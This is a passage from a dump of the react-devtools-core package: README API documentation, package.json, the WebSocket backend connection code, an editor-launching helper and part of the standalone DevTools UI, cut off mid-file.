     |\n\n\n### `connectWithCustomMessagingProtocol` options\n| Prop                | Description                                                                                                                                                    |\n|---------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| `onSubscribe`       | Function, which receives listener (function, with a single argument) as an argument. Called when backend subscribes to messages from the other end (frontend). |\n| `onUnsubscribe`     | Function, which receives listener (function) as an argument. Called when backend unsubscribes to messages from the other end (frontend).                       |\n| `onMessage`         | Function, which receives 2 arguments: event (string) and payload (any). Called when backend emits a message, which should be sent to the frontend.             |\n| `onSettingsUpdated` | A callback that will be called when the user updates the settings in the UI. You can use it for persisting user settings.                                      |\n\nUnlike `connectToDevTools`, `connectWithCustomMessagingProtocol` returns a callback, which can be used for unsubscribing the backend from the global DevTools hook.\n\n# Frontend API\n\nFrontend APIs can be used to render the DevTools UI into a DOM node. One example of this is [`react-devtools`](https://github.com/facebook/react/tree/main/packages/react-devtools) which wraps DevTools in an Electron app.\n\n### Example\n```js\nimport DevtoolsUI from \"react-devtools-core/standalone\";\n\n// See the full list of API methods in documentation below.\nconst { setContentDOMNode, startServer } = DevtoolsUI;\n\n// Render DevTools UI into a DOM element.\nsetContentDOMNode(document.getElementById(\"container\"));\n\n// Start socket server used to communicate between backend and frontend.\nstartServer(\n  // Port defaults to 8097\n  1234,\n\n  // Host defaults to \"localhost\"\n  \"example.devserver.com\",\n\n  // Optional config for secure socket (WSS).\n  {\n    key: fs.readFileSync('test/fixtures/keys/agent2-key.pem'),\n    cert: fs.readFileSync('test/fixtures/keys/agent2-cert.pem')\n  }\n);\n```\n\n### Exported methods\nThe `default` export is an object defining the methods described below.\n\nThese methods support chaining for convenience. For example:\n```js\nconst DevtoolsUI = require(\"react-devtools-core/standalone\");\nDevtoolsUI.setContentDOMNode(element).startServer();\n```\n\n#### `connectToSocket(socket: WebSocket)`\n> This is an advanced config function that is typically not used.\n\nCustom `WebSocket` connection to use for communication between DevTools frontend and backend. Calling this method automatically initializes the DevTools UI (similar to calling `startServer()`).\n\n#### `openProfiler()`\nAutomatically select the \"Profiler\" tab in the DevTools UI.\n\n#### `setContentDOMNode(element: HTMLElement)`\nSet the DOM element DevTools UI should be rendered into on initialization.\n\n#### `setDisconnectedCallback(callback: Function)`\n_Optional_ callback to be notified when DevTools `WebSocket` closes (or errors).\n\n#### `setProjectRoots(roots: Array<string>)`\n_Optional_ set of root directories for source files. These roots can be used to open an inspected component's source code using an IDE.\n\n#### `setStatusListener(callback: Function)`\n_Optional_ callback to be notified of socket server events (e.g. initialized, errored, connected).\n\nThis callback receives two parameters:\n```js\nfunction onStatus(\n  message: string,\n  status: 'server-connected' | 'devtools-connected' | 'error'\n): void {\n  // ...\n}\n```\n\n#### `startServer(port?, host?, httpsOptions?, loggerOptions?, path?, clientOptions?)`\nStart a socket server (used to communicate between backend and frontend) and renders the DevTools UI.\n\nThis method accepts the following parameters:\n| Name | Default | Description |\n|---|---|---|\n| `port` | `8097` | Port the local server listens on. |\n| `host` | `\"localhost\"` | Host the local server binds to. |\n| `httpsOptions` | | _Optional_ object defining `key` and `cert` strings. |\n| `loggerOptions` | | _Optional_ object defining a `surface` string (to be included with DevTools logging events). |\n| `path` | | _Optional_ path to append to the WebSocket URI served to connecting clients (e.g. `\"/__react_devtools__/\"`). Also set via the `REACT_DEVTOOLS_PATH` env var in the Electron app. |\n| `clientOptions` | | _Optional_ object with client-facing overrides (see below). |\n\n##### `clientOptions`\n\nWhen connecting through a reverse proxy, the client may need to connect to a different host, port, or protocol than the local server. Use `clientOptions` to override what appears in the `connectToDevTools()` script served to clients. Any field not set falls back to the corresponding server value.\n\n| Field | Default | Description |\n|---|---|---|\n| `host` | server `host` | Host the client connects to. |\n| `port` | server `port` | Port the client connects to. |\n| `useHttps` | server `useHttps` | Whether the client should use `wss://`. |\n\nThese can also be set via environment variables in the Electron app:\n\n| Env Var | Description |\n|---|---|\n| `REACT_DEVTOOLS_CLIENT_HOST` | Overrides the host in the served client script. |\n| `REACT_DEVTOOLS_CLIENT_PORT` | Overrides the port in the served client script. |\n| `REACT_DEVTOOLS_CLIENT_USE_HTTPS` | Set to `\"true\"` to make the served client script use `wss://`. |\n\n##### Reverse proxy example\n\nRun DevTools locally on the default port, but tell clients to connect through a remote proxy:\n```sh\nREACT_DEVTOOLS_CLIENT_HOST=remote.example.com \\\nREACT_DEVTOOLS_CLIENT_PORT=443 \\\nREACT_DEVTOOLS_CLIENT_USE_HTTPS=true \\\nREACT_DEVTOOLS_PATH=/__react_devtools__/ \\\nreact-devtools\n```\nThe server listens on `localhost:8097`. The served script tells clients:\n```js\nconnectToDevTools({host: 'remote.example.com', port: 443, useHttps: true, path: '/__react_devtools__/'})\n```\n\n# Development\n\nWatch for changes made to the backend entry point and rebuild:\n```sh\nyarn start:backend\n```\n\nWatch for changes made to the standalone UI entry point and rebuild:\n```sh\nyarn start:standalone\n```\n\nRun the standalone UI using `yarn start` in the [`react-devtools`](https://github.com/facebook/react/tree/main/packages/react-devtools).\n"
  },
  {
    "path": "packages/react-devtools-core/backend.js",
    "content": "module.exports = require('./dist/backend');\n"
  },
  {
    "path": "packages/react-devtools-core/package.json",
    "content": "{\n  \"name\": \"react-devtools-core\",\n  \"version\": \"7.0.1\",\n  \"description\": \"Use react-devtools outside of the browser\",\n  \"license\": \"MIT\",\n  \"main\": \"./dist/backend.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-devtools-core\"\n  },\n  \"files\": [\n    \"dist\",\n    \"backend.js\",\n    \"standalone.js\"\n  ],\n  \"scripts\": {\n    \"build\": \"yarn build:backend && yarn build:standalone\",\n    \"build:backend\": \"cross-env NODE_ENV=production webpack --config webpack.backend.js\",\n    \"build:backend:fb\": \"cross-env NODE_ENV=production FEATURE_FLAG_TARGET=core/backend-fb webpack --config webpack.backend.js\",\n    \"build:standalone\": \"cross-env NODE_ENV=production webpack --config webpack.standalone.js\",\n    \"build:standalone:fb\": \"cross-env NODE_ENV=production FEATURE_FLAG_TARGET=core/standalone-fb webpack --config webpack.standalone.js\",\n    \"prepublish\": \"yarn run build\",\n    \"start:backend\": \"cross-env NODE_ENV=development webpack --config webpack.backend.js --watch\",\n    \"start:standalone\": \"cross-env NODE_ENV=development webpack --config webpack.standalone.js --watch\"\n  },\n  \"dependencies\": {\n    \"shell-quote\": \"^1.6.1\",\n    \"ws\": \"^7\"\n  },\n  \"devDependencies\": {\n    \"cross-env\": \"^3.1.4\",\n    \"process\": \"0.11.10\",\n    \"webpack\": \"^5.82.1\",\n    \"webpack-cli\": \"^5.1.1\",\n    \"workerize-loader\": \"^2.0.2\"\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-core/src/backend.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport Agent from 'react-devtools-shared/src/backend/agent';\nimport Bridge from 'react-devtools-shared/src/bridge';\nimport {installHook} from 'react-devtools-shared/src/hook';\nimport {initBackend} from 'react-devtools-shared/src/backend';\nimport {__DEBUG__} from 'react-devtools-shared/src/constants';\nimport setupNativeStyleEditor from 'react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor';\nimport {\n  getDefaultComponentFilters,\n  getIsReloadAndProfileSupported,\n} from 'react-devtools-shared/src/utils';\n\nimport type {BackendBridge} from 'react-devtools-shared/src/bridge';\nimport type {\n  ComponentFilter,\n  Wall,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {\n  DevToolsHook,\n  DevToolsHookSettings,\n  ProfilingSettings,\n} from 'react-devtools-shared/src/backend/types';\nimport type {ResolveNativeStyle} from 'react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor';\n\ntype ConnectOptions = {\n  host?: string,\n  nativeStyleEditorValidAttributes?: $ReadOnlyArray<string>,\n  path?: string,\n  port?: number,\n  useHttps?: boolean,\n  resolveRNStyle?: ResolveNativeStyle,\n  retryConnectionDelay?: number,\n  isAppActive?: () => boolean,\n  websocket?: ?WebSocket,\n  onSettingsUpdated?: (settings: $ReadOnly<DevToolsHookSettings>) => void,\n  isReloadAndProfileSupported?: boolean,\n  isProfiling?: boolean,\n  onReloadAndProfile?: (recordChangeDescriptions: boolean) => void,\n  onReloadAndProfileFlagsReset?: () => void,\n};\n\nlet savedComponentFilters: Array<ComponentFilter> =\n  getDefaultComponentFilters();\n\nfunction debug(methodName: string, ...args: Array<mixed>) {\n  if (__DEBUG__) {\n    console.log(\n      `%c[core/backend] %c${methodName}`,\n      'color: teal; font-weight: bold;',\n      'font-weight: bold;',\n      ...args,\n    );\n  }\n}\n\nexport function initialize(\n  maybeSettingsOrSettingsPromise?:\n    | DevToolsHookSettings\n    | Promise<DevToolsHookSettings>,\n  shouldStartProfilingNow: boolean = false,\n  profilingSettings?: ProfilingSettings,\n  maybeComponentFiltersOrComponentFiltersPromise?:\n    | Array<ComponentFilter>\n    | Promise<Array<ComponentFilter>>,\n) {\n  const componentFiltersOrComponentFiltersPromise =\n    maybeComponentFiltersOrComponentFiltersPromise\n      ? maybeComponentFiltersOrComponentFiltersPromise\n      : savedComponentFilters;\n  installHook(\n    window,\n    componentFiltersOrComponentFiltersPromise,\n    maybeSettingsOrSettingsPromise,\n    shouldStartProfilingNow,\n    profilingSettings,\n  );\n}\n\nexport function connectToDevTools(options: ?ConnectOptions) {\n  const hook: ?DevToolsHook = window.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n  if (hook == null) {\n    // DevTools didn't get injected into this page (maybe b'c of the contentType).\n    return;\n  }\n\n  const {\n    host = 'localhost',\n    nativeStyleEditorValidAttributes,\n    path = '',\n    useHttps = false,\n    port = 8097,\n    websocket,\n    resolveRNStyle = (null: $FlowFixMe),\n    retryConnectionDelay = 2000,\n    isAppActive = () => true,\n    onSettingsUpdated,\n    isReloadAndProfileSupported = getIsReloadAndProfileSupported(),\n    isProfiling,\n    onReloadAndProfile,\n    onReloadAndProfileFlagsReset,\n  } = options || {};\n\n  const protocol = useHttps ? 'wss' : 'ws';\n  const prefixedPath = path !== '' && !path.startsWith('/') ? '/' + path : path;\n  let retryTimeoutID: TimeoutID | null = null;\n\n  function scheduleRetry() {\n    if (retryTimeoutID === null) {\n      // Two seconds because RN had issues with quick retries.\n      retryTimeoutID = setTimeout(\n        () => connectToDevTools(options),\n        retryConnectionDelay,\n      );\n    }\n  }\n\n  if (!isAppActive()) {\n    // If the app is in background, maybe retry later.\n    // Don't actually attempt to connect until we're in foreground.\n    scheduleRetry();\n    return;\n  }\n\n  let bridge: BackendBridge | null = null;\n\n  const messageListeners = [];\n  const uri = protocol + '://' + host + ':' + port + prefixedPath;\n\n  // If existing websocket is passed, use it.\n  // This is necessary to support our custom integrations.\n  // See D6251744.\n  const ws = websocket ? websocket : new window.WebSocket(uri);\n  ws.onclose = handleClose;\n  ws.onerror = handleFailed;\n  ws.onmessage = handleMessage;\n  ws.onopen = function () {\n    bridge = new Bridge({\n      listen(fn) {\n        messageListeners.push(fn);\n        return () => {\n          const index = messageListeners.indexOf(fn);\n          if (index >= 0) {\n            messageListeners.splice(index, 1);\n          }\n        };\n      },\n      send(event: string, payload: any, transferable?: Array<any>) {\n        if (ws.readyState === ws.OPEN) {\n          if (__DEBUG__) {\n            debug('wall.send()', event, payload);\n          }\n\n          ws.send(JSON.stringify({event, payload}));\n        } else {\n          if (__DEBUG__) {\n            debug(\n              'wall.send()',\n              'Shutting down bridge because of closed WebSocket connection',\n            );\n          }\n\n          if (bridge !== null) {\n            bridge.shutdown();\n          }\n\n          scheduleRetry();\n        }\n      },\n    });\n    bridge.addListener(\n      'updateComponentFilters',\n      (componentFilters: Array<ComponentFilter>) => {\n        // Save filter changes in memory, in case DevTools is reloaded.\n        // In that case, the renderer will already be using the updated values.\n        // We'll lose these in between backend reloads but that can't be helped.\n        savedComponentFilters = componentFilters;\n      },\n    );\n\n    // TODO (npm-packages) Warn if \"isBackendStorageAPISupported\"\n    // $FlowFixMe[incompatible-call] found when upgrading Flow\n    const agent = new Agent(bridge, isProfiling, onReloadAndProfile);\n    if (typeof onReloadAndProfileFlagsReset === 'function') {\n      onReloadAndProfileFlagsReset();\n    }\n\n    if (onSettingsUpdated != null) {\n      agent.addListener('updateHookSettings', onSettingsUpdated);\n    }\n    agent.addListener('shutdown', () => {\n      if (onSettingsUpdated != null) {\n        agent.removeListener('updateHookSettings', onSettingsUpdated);\n      }\n\n      // If we received 'shutdown' from `agent`, we assume the `bridge` is already shutting down,\n      // and that caused the 'shutdown' event on the `agent`, so we don't need to call `bridge.shutdown()` here.\n      hook.emit('shutdown');\n    });\n\n    initBackend(hook, agent, window, isReloadAndProfileSupported);\n\n    // Setup React Native style editor if the environment supports it.\n    if (resolveRNStyle != null || hook.resolveRNStyle != null) {\n      setupNativeStyleEditor(\n        // $FlowFixMe[incompatible-call] found when upgrading Flow\n        bridge,\n        agent,\n        ((resolveRNStyle || hook.resolveRNStyle: any): ResolveNativeStyle),\n        nativeStyleEditorValidAttributes ||\n          hook.nativeStyleEditorValidAttributes ||\n          null,\n      );\n    } else {\n      // Otherwise listen to detect if the environment later supports it.\n      // For example, Flipper does not eagerly inject these values.\n      // Instead it relies on the React Native Inspector to lazily inject them.\n      let lazyResolveRNStyle;\n      let lazyNativeStyleEditorValidAttributes;\n\n      const initAfterTick = () => {\n        if (bridge !== null) {\n          setupNativeStyleEditor(\n            bridge,\n            agent,\n            lazyResolveRNStyle,\n            lazyNativeStyleEditorValidAttributes,\n          );\n        }\n      };\n\n      if (!hook.hasOwnProperty('resolveRNStyle')) {\n        Object.defineProperty(\n          hook,\n          'resolveRNStyle',\n          ({\n            enumerable: false,\n            get() {\n              return lazyResolveRNStyle;\n            },\n            set(value: $FlowFixMe) {\n              lazyResolveRNStyle = value;\n              initAfterTick();\n            },\n          }: Object),\n        );\n      }\n      if (!hook.hasOwnProperty('nativeStyleEditorValidAttributes')) {\n        Object.defineProperty(\n          hook,\n          'nativeStyleEditorValidAttributes',\n          ({\n            enumerable: false,\n            get() {\n              return lazyNativeStyleEditorValidAttributes;\n            },\n            set(value: $FlowFixMe) {\n              lazyNativeStyleEditorValidAttributes = value;\n              initAfterTick();\n            },\n          }: Object),\n        );\n      }\n    }\n  };\n\n  function handleClose() {\n    if (__DEBUG__) {\n      debug('WebSocket.onclose');\n    }\n\n    if (bridge !== null) {\n      bridge.emit('shutdown');\n    }\n\n    scheduleRetry();\n  }\n\n  function handleFailed() {\n    if (__DEBUG__) {\n      debug('WebSocket.onerror');\n    }\n\n    scheduleRetry();\n  }\n\n  function handleMessage(event: MessageEvent<>) {\n    let data;\n    try {\n      if (typeof event.data === 'string') {\n        data = JSON.parse(event.data);\n        if (__DEBUG__) {\n          debug('WebSocket.onmessage', data);\n        }\n      } else {\n        throw Error();\n      }\n    } catch (e) {\n      console.error(\n        '[React DevTools] Failed to parse JSON: ' + (event.data: any),\n      );\n      return;\n    }\n    messageListeners.forEach(fn => {\n      try {\n        fn(data);\n      } catch (error) {\n        // jsc doesn't play so well with tracebacks that go into eval'd code,\n        // so the stack trace here will stop at the `eval()` call. Getting the\n        // message that caused the error is the best we can do for now.\n        console.log('[React DevTools] Error calling listener', data);\n        console.log('error:', error);\n        throw error;\n      }\n    });\n  }\n}\n\ntype ConnectWithCustomMessagingOptions = {\n  onSubscribe: (cb: Function) => void,\n  onUnsubscribe: (cb: Function) => void,\n  onMessage: (event: string, payload: any) => void,\n  nativeStyleEditorValidAttributes?: $ReadOnlyArray<string>,\n  resolveRNStyle?: ResolveNativeStyle,\n  onSettingsUpdated?: (settings: $ReadOnly<DevToolsHookSettings>) => void,\n  isReloadAndProfileSupported?: boolean,\n  isProfiling?: boolean,\n  onReloadAndProfile?: (recordChangeDescriptions: boolean) => void,\n  onReloadAndProfileFlagsReset?: () => void,\n};\n\nexport function connectWithCustomMessagingProtocol({\n  onSubscribe,\n  onUnsubscribe,\n  onMessage,\n  nativeStyleEditorValidAttributes,\n  resolveRNStyle,\n  onSettingsUpdated,\n  isReloadAndProfileSupported = getIsReloadAndProfileSupported(),\n  isProfiling,\n  onReloadAndProfile,\n  onReloadAndProfileFlagsReset,\n}: ConnectWithCustomMessagingOptions): Function {\n  const hook: ?DevToolsHook = window.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n  if (hook == null) {\n    // DevTools didn't get injected into this page (maybe b'c of the contentType).\n    return;\n  }\n\n  const wall: Wall = {\n    listen(fn: Function) {\n      onSubscribe(fn);\n\n      return () => {\n        onUnsubscribe(fn);\n      };\n    },\n    send(event: string, payload: any) {\n      onMessage(event, payload);\n    },\n  };\n\n  const bridge: BackendBridge = new Bridge(wall);\n\n  bridge.addListener(\n    'updateComponentFilters',\n    (componentFilters: Array<ComponentFilter>) => {\n      // Save filter changes in memory, in case DevTools is reloaded.\n      // In that case, the renderer will already be using the updated values.\n      // We'll lose these in between backend reloads but that can't be helped.\n      savedComponentFilters = componentFilters;\n    },\n  );\n\n  const agent = new Agent(bridge, isProfiling, onReloadAndProfile);\n  if (typeof onReloadAndProfileFlagsReset === 'function') {\n    onReloadAndProfileFlagsReset();\n  }\n\n  if (onSettingsUpdated != null) {\n    agent.addListener('updateHookSettings', onSettingsUpdated);\n  }\n  agent.addListener('shutdown', () => {\n    if (onSettingsUpdated != null) {\n      agent.removeListener('updateHookSettings', onSettingsUpdated);\n    }\n\n    // If we received 'shutdown' from `agent`, we assume the `bridge` is already shutting down,\n    // and that caused the 'shutdown' event on the `agent`, so we don't need to call `bridge.shutdown()` here.\n    hook.emit('shutdown');\n  });\n\n  const unsubscribeBackend = initBackend(\n    hook,\n    agent,\n    window,\n    isReloadAndProfileSupported,\n  );\n\n  const nativeStyleResolver: ResolveNativeStyle | void =\n    resolveRNStyle || hook.resolveRNStyle;\n\n  if (nativeStyleResolver != null) {\n    const validAttributes =\n      nativeStyleEditorValidAttributes ||\n      hook.nativeStyleEditorValidAttributes ||\n      null;\n\n    setupNativeStyleEditor(bridge, agent, nativeStyleResolver, validAttributes);\n  }\n\n  return unsubscribeBackend;\n}\n"
  },
  {
    "path": "packages/react-devtools-core/src/editor.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {existsSync} from 'fs';\nimport {basename, join, isAbsolute} from 'path';\nimport {execSync, spawn} from 'child_process';\nimport {parse} from 'shell-quote';\n\nfunction isTerminalEditor(editor: string): boolean {\n  switch (editor) {\n    case 'vim':\n    case 'emacs':\n    case 'nano':\n      return true;\n    default:\n      return false;\n  }\n}\n\n// Map from full process name to binary that starts the process\n// We can't just re-use full process name, because it will spawn a new instance\n// of the app every time\nconst COMMON_EDITORS = {\n  '/Applications/Atom.app/Contents/MacOS/Atom': 'atom',\n  '/Applications/Atom Beta.app/Contents/MacOS/Atom Beta':\n    '/Applications/Atom Beta.app/Contents/MacOS/Atom Beta',\n  '/Applications/Sublime Text.app/Contents/MacOS/Sublime Text':\n    '/Applications/Sublime Text.app/Contents/SharedSupport/bin/subl',\n  '/Applications/Sublime Text 2.app/Contents/MacOS/Sublime Text 2':\n    '/Applications/Sublime Text 2.app/Contents/SharedSupport/bin/subl',\n  '/Applications/Visual Studio Code.app/Contents/MacOS/Electron': 'code',\n};\n\nfunction getArgumentsForLineNumber(\n  editor: string,\n  filePath: string,\n  lineNumber: number,\n): Array<string> {\n  switch (basename(editor)) {\n    case 'vim':\n    case 'mvim':\n      return [filePath, '+' + lineNumber];\n    case 'atom':\n    case 'Atom':\n    case 'Atom Beta':\n    case 'subl':\n    case 'sublime':\n    case 'wstorm':\n    case 'appcode':\n    case 'charm':\n    case 'idea':\n      return [filePath + ':' + lineNumber];\n    case 'joe':\n    case 'emacs':\n    case 'emacsclient':\n      return ['+' + lineNumber, filePath];\n    case 'rmate':\n    case 'mate':\n    case 'mine':\n      return ['--line', lineNumber + '', filePath];\n    case 'code':\n      return ['-g', filePath + ':' + lineNumber];\n    default:\n      // For all others, drop the lineNumber until we have\n      // a mapping above, since providing the lineNumber incorrectly\n      // can result in errors or confusing behavior.\n      return [filePath];\n  }\n}\n\nfunction guessEditor(): Array<string> {\n  // Explicit config always wins\n  if (process.env.REACT_EDITOR) {\n    return parse(process.env.REACT_EDITOR);\n  }\n\n  // Using `ps x` on OSX we can find out which editor is currently running.\n  // Potentially we could use similar technique for Windows and Linux\n  if (process.platform === 'darwin') {\n    try {\n      const output = execSync('ps x').toString();\n      const processNames = Object.keys(COMMON_EDITORS);\n      for (let i = 0; i < processNames.length; i++) {\n        const processName = processNames[i];\n        if (output.indexOf(processName) !== -1) {\n          return [COMMON_EDITORS[processName]];\n        }\n      }\n    } catch (error) {\n      // Ignore...\n    }\n  }\n\n  // Last resort, use old-school env vars\n  if (process.env.VISUAL) {\n    return [process.env.VISUAL];\n  } else if (process.env.EDITOR) {\n    return [process.env.EDITOR];\n  }\n\n  return [];\n}\n\nlet childProcess = null;\n\nexport function getValidFilePath(\n  maybeRelativePath: string,\n  absoluteProjectRoots: Array<string>,\n): string | null {\n  // We use relative paths at Facebook with deterministic builds.\n  // This is why our internal tooling calls React DevTools with absoluteProjectRoots.\n  // If the filename is absolute then we don't need to care about this.\n  if (isAbsolute(maybeRelativePath)) {\n    if (existsSync(maybeRelativePath)) {\n      return maybeRelativePath;\n    }\n  } else {\n    for (let i = 0; i < absoluteProjectRoots.length; i++) {\n      const projectRoot = absoluteProjectRoots[i];\n      const joinedPath = join(projectRoot, maybeRelativePath);\n      if (existsSync(joinedPath)) {\n        return joinedPath;\n      }\n    }\n  }\n\n  return null;\n}\n\nexport function doesFilePathExist(\n  maybeRelativePath: string,\n  absoluteProjectRoots: Array<string>,\n): boolean {\n  return getValidFilePath(maybeRelativePath, absoluteProjectRoots) !== null;\n}\n\nexport function launchEditor(\n  maybeRelativePath: string,\n  lineNumber: number,\n  absoluteProjectRoots: Array<string>,\n) {\n  const filePath = getValidFilePath(maybeRelativePath, absoluteProjectRoots);\n  if (filePath === null) {\n    return;\n  }\n\n  // Sanitize lineNumber to prevent malicious use on win32\n  // via: https://github.com/nodejs/node/blob/c3bb4b1aa5e907d489619fb43d233c3336bfc03d/lib/child_process.js#L333\n  if (lineNumber && isNaN(lineNumber)) {\n    return;\n  }\n\n  const [editor, ...destructuredArgs] = guessEditor();\n  if (!editor) {\n    return;\n  }\n\n  let args = destructuredArgs;\n\n  if (lineNumber) {\n    args = args.concat(getArgumentsForLineNumber(editor, filePath, lineNumber));\n  } else {\n    args.push(filePath);\n  }\n\n  if (childProcess && isTerminalEditor(editor)) {\n    // There's an existing editor process already and it's attached\n    // to the terminal, so go kill it. Otherwise two separate editor\n    // instances attach to the stdin/stdout which gets confusing.\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    childProcess.kill('SIGKILL');\n  }\n\n  if (process.platform === 'win32') {\n    // On Windows, launch the editor in a shell because spawn can only\n    // launch .exe files.\n    childProcess = spawn('cmd.exe', ['/C', editor].concat(args), {\n      stdio: 'inherit',\n    });\n  } else {\n    childProcess = spawn(editor, args, {stdio: 'inherit'});\n  }\n  childProcess.on('error', function () {});\n  // $FlowFixMe[incompatible-use] found when upgrading Flow\n  childProcess.on('exit', function () {\n    childProcess = null;\n  });\n}\n"
  },
  {
    "path": "packages/react-devtools-core/src/standalone.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {createElement} from 'react';\nimport {flushSync} from 'react-dom';\nimport {createRoot} from 'react-dom/client';\nimport Bridge from 'react-devtools-shared/src/bridge';\nimport Store from 'react-devtools-shared/src/devtools/store';\nimport {getSavedComponentFilters} from 'react-devtools-shared/src/utils';\nimport {registerDevToolsEventLogger} from 'react-devtools-shared/src/registerDevToolsEventLogger';\nimport {Server} from 'ws';\nimport {join} from 'path';\nimport {readFileSync} from 'fs';\nimport DevTools from 'react-devtools-shared/src/devtools/views/DevTools';\nimport {doesFilePathExist, launchEditor} from './editor';\nimport {\n  __DEBUG__,\n  LOCAL_STORAGE_DEFAULT_TAB_KEY,\n} from 'react-devtools-shared/src/constants';\nimport {localStorageSetItem} from 'react-devtools-shared/src/storage';\n\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {ReactFunctionLocation, ReactCallSite} from 'shared/ReactTypes';\n\nexport type StatusTypes = 'server-connected' | 'devtools-connected' | 'error';\nexport type StatusListener = (message: string, status: StatusTypes) => void;\nexport type OnDisconnectedCallback = () => void;\n\nlet node: HTMLElement = ((null: any): HTMLElement);\nlet nodeWaitingToConnectHTML: string = '';\nlet projectRoots: Array<string> = [];\nlet statusListener: StatusListener = (\n  message: string,\n  status?: StatusTypes,\n) => {};\nlet disconnectedCallback: OnDisconnectedCallback = () => {};\n\n// TODO (Webpack 5) Hopefully we can remove this prop after the Webpack 5 migration.\nfunction hookNamesModuleLoaderFunction() {\n  return import(\n    /* webpackChunkName: 'parseHookNames' */ 'react-devtools-shared/src/hooks/parseHookNames'\n  );\n}\n\nfunction setContentDOMNode(value: HTMLElement): typeof DevtoolsUI {\n  node = value;\n\n  // Save so we can restore the exact waiting message between sessions.\n  nodeWaitingToConnectHTML = node.innerHTML;\n\n  return DevtoolsUI;\n}\n\nfunction setProjectRoots(value: Array<string>) {\n  projectRoots = value;\n}\n\nfunction setStatusListener(value: StatusListener): typeof DevtoolsUI {\n  statusListener = value;\n  return DevtoolsUI;\n}\n\nfunction setDisconnectedCallback(\n  value: OnDisconnectedCallback,\n): typeof DevtoolsUI {\n  disconnectedCallback = value;\n  return DevtoolsUI;\n}\n\nlet bridge: FrontendBridge | null = null;\nlet store: Store | null = null;\nlet root = null;\n\nconst log = (...args: Array<mixed>) => console.log('[React DevTools]', ...args);\nlog.warn = (...args: Array<mixed>) => console.warn('[React DevTools]', ...args);\nlog.error = (...args: Array<mixed>) =>\n  console.error('[React DevTools]', ...args);\n\nfunction debug(methodName: string, ...args: Array<mixed>) {\n  if (__DEBUG__) {\n    console.log(\n      `%c[core/standalone] %c${methodName}`,\n      'color: teal; font-weight: bold;',\n      'font-weight: bold;',\n      ...args,\n    );\n  }\n}\n\nfunction safeUnmount() {\n  flushSync(() => {\n    if (root !== null) {\n      root.unmount();\n      root = null;\n    }\n  });\n}\n\nfunction reload() {\n  safeUnmount();\n\n  node.innerHTML = '';\n\n  setTimeout(() => {\n    root = createRoot(node);\n    root.render(\n      createElement(DevTools, {\n        bridge: ((bridge: any): FrontendBridge),\n        canViewElementSourceFunction,\n        hookNamesModuleLoaderFunction,\n        showTabBar: true,\n        store: ((store: any): Store),\n        warnIfLegacyBackendDetected: true,\n        viewElementSourceFunction,\n        fetchFileWithCaching,\n      }),\n    );\n  }, 100);\n}\n\nconst resourceCache: Map<string, string> = new Map();\n\n// As a potential improvement, this should be done from the backend of RDT.\n// Browser extension is doing this via exchanging messages\n// between devtools_page and dedicated content script for it, see `fetchFileWithCaching.js`.\nasync function fetchFileWithCaching(url: string) {\n  if (resourceCache.has(url)) {\n    return Promise.resolve(resourceCache.get(url));\n  }\n\n  return fetch(url)\n    .then(data => data.text())\n    .then(content => {\n      resourceCache.set(url, content);\n\n      return content;\n    });\n}\n\nfunction canViewElementSourceFunction(\n  _source: ReactFunctionLocation | ReactCallSite,\n  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,\n): boolean {\n  if (symbolicatedSource == null) {\n    return false;\n  }\n  const [, sourceURL, ,] = symbolicatedSource;\n\n  return doesFilePathExist(sourceURL, projectRoots);\n}\n\nfunction viewElementSourceFunction(\n  _source: ReactFunctionLocation | ReactCallSite,\n  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,\n): void {\n  if (symbolicatedSource == null) {\n    return;\n  }\n\n  const [, sourceURL, line] = symbolicatedSource;\n  launchEditor(sourceURL, line, projectRoots);\n}\n\nfunction onDisconnected() {\n  safeUnmount();\n\n  node.innerHTML = nodeWaitingToConnectHTML;\n\n  disconnectedCallback();\n}\n\nfunction onError({code, message}: $FlowFixMe) {\n  safeUnmount();\n\n  if (code === 'EADDRINUSE') {\n    node.innerHTML = `\n      <div class=\"box\">\n        <div class=\"box-header\">\n          Another instance of DevTools is running.\n        </div>\n        <div class=\"box-content\">\n          Only one copy of DevTools can be used at a time.\n        </div>\n      </div>\n    `;\n  } else {\n    node.innerHTML = `\n      <div class=\"box\">\n        <div class=\"box-header\">\n          Unknown error\n        </div>\n        <div class=\"box-content\">\n          ${message}\n        </div>\n      </div>\n    `;\n  }\n}\n\nfunction openProfiler() {\n  // Mocked up bridge and store to allow the DevTools to be rendered\n  bridge = new Bridge({listen: () => {}, send: () => {}});\n  store = new Store(bridge, {});\n\n  // Ensure the Profiler tab is shown initially.\n  localStorageSetItem(\n    LOCAL_STORAGE_DEFAULT_TAB_KEY,\n    JSON.stringify('profiler'),\n  );\n\n  reload();\n}\n\nfunction initialize(socket: WebSocket) {\n  const listeners = [];\n  socket.onmessage = event => {\n    let data;\n    try {\n      if (typeof event.data === 'string') {\n        data = JSON.parse(event.data);\n\n        if (__DEBUG__) {\n          debug('WebSocket.onmessage', data);\n        }\n      } else {\n        throw Error();\n      }\n    } catch (e) {\n      log.error('Failed to parse JSON', event.data);\n      return;\n    }\n    listeners.forEach(fn => {\n      try {\n        fn(data);\n      } catch (error) {\n        log.error('Error calling listener', data);\n        throw error;\n      }\n    });\n  };\n\n  bridge = new Bridge({\n    listen(fn) {\n      listeners.push(fn);\n      return () => {\n        const index = 